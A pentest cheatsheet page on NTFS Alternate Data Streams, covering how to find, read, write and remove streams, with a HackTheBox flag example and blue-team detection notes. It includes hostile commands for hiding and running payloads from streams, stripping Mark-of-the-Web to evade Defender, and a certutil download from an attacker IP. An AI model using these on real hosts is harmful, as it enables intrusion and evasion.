daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

alternate-data-streams-guide.md (24590B)


      1 ---
      2 title: "NTFS Alternate Data Streams — Hiding & Finding Hidden Data"
      3 description: "Windows NTFS Alternate Data Streams (ADS): what they are, reading and writing them, finding streams other users hid (dir /r, Get-Item -Stream, streams.exe), Mark-of-the-Web, and a worked HTB example of digging a flag out of a stream."
      4 category: pentest-workflow
      5 subcategory: "Companion Guides"
      6 order: 26
      7 tags: ["htb", "cpts", "windows", "ads", "alternate-data-streams", "ntfs", "mark-of-the-web", "forensics", "pentest-workflow", "motw", "zone-identifier", "lolbin", "sysmon", "defense-evasion"]
      8 tools: ["streams.exe", "streams64.exe", "wmic", "forfiles"]
      9 difficulty: intermediate
     10 updated: "2026-09-25"
     11 source: "vault:NTFS ADS tradecraft"
     12 ---
     13 
     14 [← Windows PrivEsc cheat sheet](/sheets/pentest-workflow/privilege-escalation) · [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Windows PrivEsc master guide](/sheets/privilege-escalation/windows-privesc) · [← Potato Attacks guide](/sheets/pentest-workflow/potato-attacks-guide)
     15 
     16 # NTFS Alternate Data Streams — Hiding & Finding Hidden Data
     17 
     18 > [!dashboard] What this is
     19 > NTFS Alternate Data Streams (ADS) let a file carry extra content that a normal directory listing never shows. On offense, that's a place to stage a payload off a directory listing and strip Mark-of-the-Web before you run it — a trick usually paired with the [Potato Attacks guide](/sheets/pentest-workflow/potato-attacks-guide) once you've got a privileged shell. On the other side of the same coin, it's where CTF flags, credentials, and second-stage tooling get hidden, and where a downloaded file's origin gets recorded — so knowing how to *find* a stream matters as much as knowing how to hide one. They're a legitimate NTFS feature, quietly used (and abused) for both since Windows NT.
     20 
     21 ## What an ADS actually is
     22 
     23 On NTFS, every file has at least one data stream — the **default (unnamed) stream** that holds the content you normally see. NTFS lets you attach additional **named streams** to the same file. The main file keeps its name and its reported size; the extra streams ride along invisibly.
     24 
     25 **Syntax:** `filename:streamname:streamtype`
     26 
     27 Common stream types:
     28 
     29 | Type | Purpose |
     30 |---|---|
     31 | `$DATA` | Actual data content — by far the most common, and what you'll use |
     32 | `$INDEX_ALLOCATION` | Directory indexes (attaching this to a name creates a directory-like object) |
     33 | others | Assorted NTFS metadata streams |
     34 
     35 Why it matters to both sides of the keyboard:
     36 
     37 - **Invisible to normal listings.** Plain `dir` and Explorer don't show streams — you need `dir /r` or PowerShell's `-Stream`.
     38 - **They don't change the file's reported size.** The host file still shows its original size; the stream's bytes aren't counted.
     39 - **They travel with the file on NTFS**, and are **silently stripped** when the file crosses to FAT32/exFAT, most network shares, email, or an HTTP upload. Handy for evasion; a trap if you rely on a stream surviving a copy.
     40 - **No special permission needed.** If you can write the file, you can add a stream to it. Reading one someone else hid just needs read access to the host file, same as normal.
     41 
     42 ---
     43 
     44 ## Finding & enumerating streams `fas:MagnifyingGlass`
     45 
     46 This is the question that actually comes up on an engagement or a box: *does this file — or this whole directory tree — have anything hidden on it?* Plain `dir` and Explorer will never tell you. Four ways to ask, from the always-available one-liner up to a full-drive sweep.
     47 
     48 ### `dir /r` — one directory, no tooling required
     49 
     50 ```batch
     51 :: cmd — /r reveals streams next to each file (look for the "file:stream:$DATA" lines)
     52 dir /r C:\Users\Administrator\Desktop
     53 ```
     54 
     55 A tell-tale stream line looks like this — a file whose visible content is tiny, carrying a named `$DATA` stream beside it:
     56 
     57 ```text
     58                 36 hm.txt
     59                 34 hm.txt:root.txt:$DATA
     60 ```
     61 
     62 That second line is the whole discovery: `hm.txt` has a named stream called `root.txt`. Nothing about the plain `36 hm.txt` line hints at it.
     63 
     64 ### `dir /s /r` — the same thing, recursively
     65 
     66 Add `/s` to walk every subdirectory instead of checking one folder at a time — the reflex to use once you land somewhere and want to sweep the whole profile or drive in one shot:
     67 
     68 ```batch
     69 :: Every file, every subfolder, streams and all — a whole profile in one command
     70 dir /s /r C:\Users\Administrator
     71 
     72 :: Narrow the noise: only the indented stream lines out of the full listing
     73 dir /s /r C:\Users\Administrator | findstr /R /C:":.*\$DATA$"
     74 ```
     75 
     76 `dir /r` only lists **named** streams (the file's own content is the unnamed `::$DATA` default stream and is *not* printed as a separate line), so the single `findstr` above — regex mode, `\$` escaping the literal `$` and the trailing `$` anchoring end-of-line — keeps just the `file:streamname:$DATA` lines and drops the ordinary directory chatter. No second filter is needed.
     77 
     78 > [!warning]+ `dir /s /r` is loud and can be slow on a big tree
     79 > `fas:TriangleExclamation`
     80 > Recursing an entire user profile or `C:\` is fine on a CTF box; on a real engagement it's a lot of filesystem I/O and (without the `findstr` filter above) a wall of output that buries the one line you care about. Scope it to the directories that matter — profile roots, web roots, `Temp` — rather than reflexively pointing it at `C:\`.
     81 
     82 ### PowerShell — cleanest output, easiest to filter
     83 
     84 ```powershell
     85 # One file
     86 Get-Item C:\Windows\Temp\notes.txt -Stream *
     87 
     88 # A whole tree, filtered to only files that actually carry an extra stream —
     89 # prints exactly the file + stream name, nothing else
     90 Get-ChildItem C:\Users -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
     91   Get-Item -LiteralPath $_.FullName -Stream * -ErrorAction SilentlyContinue
     92 } | Where-Object Stream -ne ':$DATA' | Select-Object FileName, Stream, Length
     93 ```
     94 
     95 The `Select-Object` at the end is the difference between a readable table (`FileName`, `Stream`, `Length`) and a wall of default property dumps — worth keeping when you're sweeping anything bigger than a single directory.
     96 
     97 ```powershell
     98 # Shorthand of the same sweep with the standard aliases (gci/%/?) — quick to type at a prompt
     99 gci C:\Users -Recurse -File -ErrorAction SilentlyContinue |
    100   % { Get-Item -LiteralPath $_.FullName -Stream * -ErrorAction SilentlyContinue } |
    101   ? Stream -ne ':$DATA' | Select FileName, Stream, Length
    102 ```
    103 
    104 `-File` keeps `Get-Item -Stream *` off directories (which can carry streams of their own and throw on the pipe); the fuller form above is the one to script, this is the one to fire from muscle memory.
    105 
    106 ### Sysinternals `streams.exe` — purpose-built, no scripting needed
    107 
    108 ```batch
    109 :: Recursive sweep, quiet banner
    110 streams.exe -nobanner -s C:\Users
    111 
    112 :: A single file
    113 streams.exe -nobanner C:\Windows\Temp\notes.txt
    114 ```
    115 
    116 `streams64.exe` is the same tool for 64-bit targets if the plain binary won't run. Not bundled here — grab it from [Microsoft's Sysinternals downloads](https://learn.microsoft.com/sysinternals/downloads/streams) (or land it via SMB/`certutil` per the [Potato Attacks guide's delivery section](/sheets/pentest-workflow/potato-attacks-guide#delivery--getting-a-potato-onto-the-box-and-running-it-fasrocketlaunch) — the same transport tricks apply to any tool, not just potatoes).
    117 
    118 ### Which one to reach for
    119 
    120 | Method | Recursive? | Needs | Best for |
    121 |---|---|---|---|
    122 | `dir /r` | No (one directory) | Nothing — always available | Quick check on a directory you're already looking at |
    123 | `dir /s /r` (+ `findstr` filter) | Yes | Nothing — always available | Sweeping a whole profile/tree from cmd with no extra tooling, non-interactive shells |
    124 | PowerShell `Get-Item`/`Get-ChildItem -Stream` | Optional (both shown above) | PowerShell | Cleanest, filterable, scriptable output — the one to reach for when you're already in a PS session |
    125 | `streams.exe` / `streams64.exe` | Yes (`-s`) | The binary itself (not built in) | Purpose-built recursive sweep when you'd rather not write a PowerShell one-liner, or from cmd on a box you don't want to touch with PowerShell |
    126 
    127 > [!tip]+ In a non-interactive shell (a potato firing one command and exiting)
    128 > `fas:Lightbulb`
    129 > All four work the same way as anything else non-interactive: redirect to a file you can read back. `dir /s /r C:\Users\Administrator > ads.txt 2>&1` then `type ads.txt` — exactly the pattern used throughout the [Potato Attacks guide's field method](/sheets/pentest-workflow/potato-attacks-guide#4--fire-it-non-interactively-and-actually-read-the-output-fasterminal).
    130 
    131 ---
    132 
    133 ## Reading a stream
    134 
    135 Once you know the stream's name (from `dir /r` or `-Stream *`), read it:
    136 
    137 ```batch
    138 :: cmd — the classic
    139 more < "C:\Windows\Temp\notes.txt:hidden:$DATA"
    140 ```
    141 
    142 ```powershell
    143 # PowerShell — cleanest
    144 Get-Content C:\Windows\Temp\notes.txt -Stream hidden
    145 
    146 # notepad opens a named stream directly
    147 notepad C:\Windows\Temp\notes.txt:hidden
    148 ```
    149 
    150 > [!warning]+ `more <` needs the redirect — a direct path won't work
    151 > `fas:TriangleExclamation`
    152 > `more C:\path\file.txt:stream` (no `<`) fails; `type file.txt:stream` also fails on most builds. The reliable cmd form is `more < "path:stream"`, using input redirection rather than passing the ADS path as a normal argument.
    153 
    154 `more <` handles cmd; for a binary payload staged in a stream, PowerShell reads the bytes back out — but the byte switch was renamed between versions, so pin the right one:
    155 
    156 ```powershell
    157 # Windows PowerShell 5.1 (default on most targets) — byte-exact extract
    158 Get-Content C:\Windows\Temp\log.txt -Stream g.exe -Encoding Byte -Raw |
    159   Set-Content C:\Windows\Temp\g.exe -Encoding Byte
    160 
    161 # PowerShell 7+ renamed the switch to -AsByteStream (-Encoding Byte errors there)
    162 Get-Content C:\Windows\Temp\log.txt -Stream g.exe -AsByteStream -Raw |
    163   Set-Content C:\Windows\Temp\g.exe -AsByteStream
    164 ```
    165 
    166 Check `$PSVersionTable.PSVersion` first — mixing the two switches is the usual reason a binary extract comes out empty or mangled. For text, plain `Get-Content -Stream <name>` (already shown above) is enough.
    167 
    168 ---
    169 
    170 ## Finding hidden data — a worked example
    171 
    172 The scenario above (`hm.txt` with a `root.txt:$DATA` stream) is a real one, from HTB Jeeves, and it's the exact shape almost every "hidden flag" or "hidden credential" ADS challenge takes: a small, boring-looking file sitting next to something that matters. Walking through it end to end:
    173 
    174 **1. You get a shell in a context that can see the file** — here, `NT AUTHORITY\SYSTEM`, reached via the potato chain worked through in the [Potato Attacks guide's field method](/sheets/pentest-workflow/potato-attacks-guide#5--once-youre-system-fasmagnifyingglass). If you're already Administrator/SYSTEM (or it's just your own file), skip straight to step 2.
    175 
    176 **2. Sweep for streams instead of trusting a plain `dir`:**
    177 
    178 ```batch
    179 dir /r C:\Users\Administrator\Desktop
    180 ```
    181 ```text
    182  Directory of C:\Users\Administrator\Desktop
    183 
    184 11/08/2017  10:05 AM    <DIR>          .
    185 11/08/2017  10:05 AM    <DIR>          ..
    186 12/24/2017  03:51 AM                36 hm.txt
    187                                      34 hm.txt:root.txt:$DATA
    188 11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk
    189                2 File(s)            833 bytes
    190 ```
    191 
    192 The `hm.txt:root.txt:$DATA` line is the tell — a 34-byte stream named `root.txt` riding on a 36-byte host file that gives no other hint it's there.
    193 
    194 **3. Read the stream directly:**
    195 
    196 ```batch
    197 more < hm.txt:root.txt
    198 ```
    199 
    200 That's the whole technique — no potato, no privilege escalation needed *for this step*; the only privilege that mattered was whatever let you read `hm.txt` in the first place (here, being SYSTEM to reach another user's Desktop).
    201 
    202 **4. From a non-interactive shell** (a potato firing one command and exiting, a web shell, anything without a live prompt), redirect both the listing and the read to files you can pull back:
    203 
    204 ```batch
    205 :: find it
    206 ... "/c dir /r C:\Users\Administrator\Desktop > C:\Users\kohsuke\ads.txt 2>&1"
    207 type C:\Users\kohsuke\ads.txt
    208 
    209 :: read it
    210 ... "/c more < C:\Users\Administrator\Desktop\hm.txt:root.txt > C:\Users\kohsuke\flag.txt 2>&1"
    211 type C:\Users\kohsuke\flag.txt
    212 ```
    213 
    214 > [!success]+ The pattern, generalised
    215 > `fas:Lightbulb`
    216 > 1. **`dir /r` (or the PowerShell/`streams.exe` sweep) on every directory you land in that you haven't checked** — Desktop, Documents, profile roots, web roots. A tiny file next to something sensitive-sounding is the classic tell.
    217 > 2. **`more < file:stream`** reads it once you have the stream name. No stream name shown by `dir /r`? You don't have one — move on.
    218 > 3. **No live shell?** Redirect the command's own output to a file (`> out.txt 2>&1`) and `type`/pull it back, exactly like any other non-interactive command.
    219 
    220 ---
    221 
    222 ## Writing / staging into a stream
    223 
    224 The reverse of the above — this is how those hidden files get created in the first place, and how you'd stage your own payload the same way.
    225 
    226 ```batch
    227 :: Hide text
    228 echo secret-loot-here > "C:\Windows\Temp\notes.txt:stash"
    229 
    230 :: Stash a binary inside an innocuous host file (NTFS→NTFS copy)
    231 type C:\Tools\GodPotato-NET4.exe > "C:\Windows\Temp\log.txt:g.exe"
    232 ```
    233 
    234 ```powershell
    235 # PowerShell staging
    236 Set-Content -Path C:\Windows\Temp\notes.txt -Stream stash -Value 'secret-loot-here'
    237 ```
    238 
    239 > [!warning]+ Running an EXE straight from a stream is mostly dead on modern Windows
    240 > `fas:TriangleExclamation`
    241 > Older Windows let you launch a process whose image *was* an ADS. Current builds block that — `start file.txt:g.exe` / `Start-Process` against a stream fails. So use ADS for **staging and hiding**, then **copy the payload back out to a normal file to execute it**:
    242 > ```batch
    243 > type C:\Tools\GodPotato-NET4.exe > C:\Windows\Temp\log.txt:g.exe   :: hide
    244 > more < C:\Windows\Temp\log.txt:g.exe > C:\Windows\Temp\g.exe        :: extract to run
    245 > C:\Windows\Temp\g.exe -cmd "cmd /c whoami"
    246 > ```
    247 > Script and DLL loaders (`powershell`, `wscript`/`cscript`, `rundll32`, `regsvr32`) can still be *fed* from a stream via LOLBINs, but the reliable, portable pattern is stage-in-stream → extract → run. See the [Potato Attacks guide](/sheets/pentest-workflow/potato-attacks-guide) for what to do once you're running as SYSTEM.
    248 
    249 ### Executing from a stream — legacy vectors
    250 
    251 The reliable path is still stage-in-stream → extract → run (shown in the warning above). The commands below are the older launch vectors people reach for — worth recognising, mostly hardened out now:
    252 
    253 ```batch
    254 :: Stage a binary into a stream on a bait file first
    255 type C:\Tools\evil.exe > "C:\Temp\bait.txt:evil.exe"
    256 
    257 :: --- Legacy image-launch vectors: historically ran the ADS as a process. ---
    258 :: --- Blocked by modern CreateProcess hardening; kept here for recognition. ---
    259 wmic process call create "C:\Temp\bait.txt:evil.exe"          :: wmic is also deprecated/removed on recent Win11
    260 forfiles /p C:\Temp /m bait.txt /c "cmd /c @path:evil.exe"     :: historically cited; @path quoting makes it finicky — and CreateProcess blocks it anyway
    261 ```
    262 
    263 > [!warning]+ These launch an *image* from a stream — the thing modern Windows kills
    264 > `fas:TriangleExclamation`
    265 > `wmic process call create` and `forfiles` both ultimately hit `CreateProcess` against the ADS image, which current builds refuse — the same block described above for `start`/`Start-Process`. On top of that `wmic` is deprecated and no longer present on recent Windows 11. Treat both as *legacy/CTF-era*; on a modern target fall back to the extract-then-run pattern. What still works is feeding a **content** loader that opens the stream and runs what it reads (the image is never executed directly):
    266 > ```batch
    267 > :: PowerShell reads the script text out of the stream and runs it — reliable
    268 > powershell -ep bypass -c "IEX (Get-Content C:\Temp\bait.txt -Stream payload -Raw)"
    269 > ```
    270 > ```batch
    271 > :: WSH / DLL script loaders fed from a stream (LOLBIN, version- and AV-dependent)
    272 > wscript //e:vbscript C:\Temp\bait.txt:payload.vbs
    273 > rundll32 C:\Temp\bait.txt:payload.dll,EntryPoint
    274 > ```
    275 > These survive the image-exec block because the interpreter/loader opens the file itself; they are still noisy and increasingly signatured. See the [Potato Attacks guide](/sheets/pentest-workflow/potato-attacks-guide) for what to run once you're SYSTEM.
    276 
    277 ---
    278 
    279 ## Mark-of-the-Web — the ADS you meet every engagement
    280 
    281 Every file a browser or `Invoke-WebRequest` downloads gets a `Zone.Identifier` stream (Mark-of-the-Web). It's what makes SmartScreen and Defender treat a file as "from the internet." Reading it is a forensics staple; stripping it is an evasion staple.
    282 
    283 ```powershell
    284 # See where a downloaded file came from (blue-team / OSINT gold — often has the source URL)
    285 Get-Content .\PrintSpoofer64.exe -Stream Zone.Identifier
    286 
    287 # Strip MOTW so SmartScreen/Defender stop nagging (two equivalent ways)
    288 Remove-Item .\PrintSpoofer64.exe -Stream Zone.Identifier
    289 Unblock-File .\PrintSpoofer64.exe
    290 ```
    291 
    292 ```batch
    293 :: The stealthiest way to drop MOTW is to never create it: pull the tool with a
    294 :: transport that doesn't write Zone.Identifier (SMB copy, certutil), not a browser.
    295 certutil -urlcache -f http://10.10.14.3/PrintSpoofer64.exe C:\Windows\Temp\ps.exe
    296 ```
    297 
    298 Zone.Identifier is a plain-text INI stream. Find and read it exactly like any other ADS:
    299 
    300 ```batch
    301 :: dir /r shows the MOTW stream by name on a downloaded file
    302 dir /r .\PrintSpoofer64.exe
    303 :: ... :Zone.Identifier:$DATA appears beside it
    304 
    305 :: Read it from cmd (input redirect, same rule as any stream)
    306 more < "PrintSpoofer64.exe:Zone.Identifier"
    307 ```
    308 
    309 Typical contents — `ZoneId` is what SmartScreen/Defender act on; `ReferrerUrl`/`HostUrl` are recorded by many downloaders and are the blue-team/OSINT prize:
    310 
    311 ```ini
    312 [ZoneTransfer]
    313 ZoneId=3
    314 ReferrerUrl=https://example.com/downloads/
    315 HostUrl=https://cdn.example.com/PrintSpoofer64.exe
    316 ```
    317 
    318 | ZoneId | Zone | Treated as |
    319 |---|---|---|
    320 | `0` | Local machine | Trusted |
    321 | `1` | Local intranet | Mostly trusted |
    322 | `2` | Trusted sites | Trusted |
    323 | `3` | Internet | **Marked / restricted** — SmartScreen + Defender kick in |
    324 | `4` | Restricted sites | Most restricted |
    325 
    326 Anything `ZoneId=3` or `4` is "from the internet" and carries the mark. Bulk operations:
    327 
    328 ```powershell
    329 # Check presence without dumping content
    330 Get-Item .\PrintSpoofer64.exe -Stream Zone.Identifier -ErrorAction SilentlyContinue
    331 
    332 # Strip MOTW from an entire dropped toolkit at once
    333 Get-ChildItem .\loot -Recurse -File | Unblock-File
    334 
    335 # (Testing SmartScreen/Defender behaviour) put a mark back on a file
    336 Set-Content -Path .\test.exe -Stream Zone.Identifier -Value "[ZoneTransfer]`r`nZoneId=3"
    337 ```
    338 
    339 ---
    340 
    341 ## Removing a stream
    342 
    343 ```powershell
    344 # Delete just one stream, keep the file
    345 Remove-Item C:\Windows\Temp\notes.txt -Stream stash
    346 ```
    347 
    348 ```batch
    349 :: cmd has no native single-stream delete — round-trip through a non-NTFS
    350 :: filesystem (copy off to FAT/exFAT and back) strips every stream at once.
    351 ```
    352 
    353 Sysinternals `streams.exe` is the cmd-side answer — it deletes streams in place:
    354 
    355 ```batch
    356 :: Delete every stream from one file, keep the file (Sysinternals streams.exe)
    357 streams.exe -nobanner -d C:\Windows\Temp\notes.txt
    358 
    359 :: Recursively strip streams from a whole tree — cleanup / defensive scrub
    360 streams.exe -nobanner -s -d C:\Users\Public
    361 ```
    362 
    363 `-d` deletes; add `-s` to recurse. Unlike `Remove-Item -Stream <name>`, `streams -d` removes *all* named streams on the target(s) — precise for cleanup, blunt if you only meant to drop one.
    364 
    365 ---
    366 
    367 ## Detection, OPSEC & cleanup `fas:Shield`
    368 
    369 > [!danger] Authorised testing only
    370 > `fas:TriangleExclamation`
    371 > Reading another user's files (even via a stream) and hiding artefacts on a real host both need explicit authorisation. Track every stream you create, with full paths, and remove it at cleanup.
    372 
    373 **What the blue team sees:**
    374 
    375 | Signal | Where |
    376 |---|---|
    377 | New `$DATA` streams appearing on files | Sysmon Event 15 (`FileCreateStreamHash`) |
    378 | A downloaded tool's `Zone.Identifier` still naming your web server | ADS on the artefact itself |
    379 | Unusual `dir /r` / `Get-Item -Stream *` / `streams.exe` invocations in command-line logging | Sysmon Event 1, PowerShell script-block logging |
    380 
    381 **OPSEC notes:**
    382 
    383 - ADS defeats a plain `dir` and a size check, not a defender who runs `dir /r` / `streams.exe` — treat it as *reduces casual visibility*, not *invisible*.
    384 - Sysmon Event 15 logs stream creation by hash on a well-instrumented estate; don't assume staging in a stream is silent there.
    385 
    386 **Hunting for hidden streams (blue team / IR):**
    387 
    388 ```powershell
    389 # Host sweep for every NAMED stream, skipping the default ::$DATA and benign MOTW
    390 Get-ChildItem C:\ -Recurse -File -ErrorAction SilentlyContinue |
    391   ForEach-Object { Get-Item -LiteralPath $_.FullName -Stream * -ErrorAction SilentlyContinue } |
    392   Where-Object { $_.Stream -ne ':$DATA' -and $_.Stream -ne 'Zone.Identifier' } |
    393   Select-Object FileName, Stream, Length
    394 ```
    395 
    396 ```batch
    397 :: Same idea with Sysinternals — streams takes ONE path per call, so loop for several
    398 for %d in (C:\Users C:\ProgramData C:\Windows\Temp) do streams.exe -nobanner -s %d
    399 ```
    400 
    401 > [!tip]+ What Event 15 does and doesn't catch
    402 > `fas:Lightbulb`
    403 > Sysmon Event 15 (`FileCreateStreamHash`) fires on stream **creation** and hashes the new stream — but only for paths/extensions the config actually scopes in, and it says nothing about a stream being **read**. So staging into a stream can be logged; digging a flag *out* of one usually isn't, at the file-event layer. The enumeration and read still surface in command-line logging (Sysmon Event 1) and PowerShell script-block logging — that's where `dir /r`, `Get-Item -Stream *`, `streams.exe`, and `Get-Content -Stream` show up. Pair Event 15 with those two for real coverage.
    404 
    405 **Cleanup checklist:**
    406 
    407 ```powershell
    408 Remove-Item C:\Windows\Temp\log.txt -Stream g.exe -ErrorAction SilentlyContinue   # the ADS
    409 Remove-Item C:\Windows\Temp\notes.txt -Stream stash -ErrorAction SilentlyContinue
    410 ```
    411 
    412 ---
    413 
    414 ## Troubleshooting `fas:Wrench`
    415 
    416 | Problem | Cause & fix |
    417 |---------|-------------|
    418 | `dir /r` shows no streams on a file you wrote one to | `dir /r` only lists streams in the *current* directory view; confirm you are in the right path, and note Explorer never shows them at all |
    419 | `Get-Item -Stream *` errors on a path with brackets | PowerShell treats `[ ]` as wildcards. Use `-LiteralPath` instead of `-Path` |
    420 | Cannot read a stream you know exists | The stream name is case-sensitive-ish and must be exact, including `:$DATA`. Enumerate first with `Get-Item -Stream *`, then copy the name verbatim |
    421 | Data written to a stream vanishes on copy | ADS only survive on **NTFS**. Copying to FAT/exFAT, most USB sticks, a ZIP, or across SMB to a non-NTFS share silently drops the stream |
    422 | `type file.txt:hidden.exe` fails to run it | `type` cannot execute; you must extract or invoke it properly (`wmic process call create`, `Start-Process`, or `makecab`/`extrac32` round-trip on older hosts) |
    423 | Downloaded file "blocked" and scripts refuse to run | That is the `Zone.Identifier` MotW stream. `Unblock-File`, or delete the stream: `Remove-Item file -Stream Zone.Identifier` |
    424 | Defender flags the file the moment you stage into a stream | AMSI/Defender inspects stream writes too (Sysmon Event 15 logs them). ADS is not an evasion primitive on a monitored host — treat it as storage, not stealth |
    425 
    426 ## References `fas:BookOpen`
    427 
    428 | Topic | Source |
    429 |---|---|
    430 | NTFS ADS / Mark-of-the-Web | [MITRE ATT&CK T1564.004](https://attack.mitre.org/techniques/T1564/004/) · [Sysinternals streams](https://learn.microsoft.com/sysinternals/downloads/streams) |
    431 | Executing from ADS (LOLBIN loaders) | [LOLBAS project](https://lolbas-project.github.io/) · [MITRE T1218](https://attack.mitre.org/techniques/T1218/) |
    432 | Mark-of-the-Web / Zone.Identifier | [Microsoft — About URL security zones](https://learn.microsoft.com/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms537183(v=vs.85)) · [Unblock-File](https://learn.microsoft.com/powershell/module/microsoft.powershell.utility/unblock-file) |
    433 | Detecting ADS (Sysmon Event 15) | [Sysmon FileCreateStreamHash](https://learn.microsoft.com/sysinternals/downloads/sysmon#event-id-15-filecreatestreamhash) |
    434 
    435 ---
    436 
    437 [← Windows PrivEsc cheat sheet](/sheets/pentest-workflow/privilege-escalation) · [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Windows PrivEsc master guide](/sheets/privilege-escalation/windows-privesc) · [← Potato Attacks guide](/sheets/pentest-workflow/potato-attacks-guide)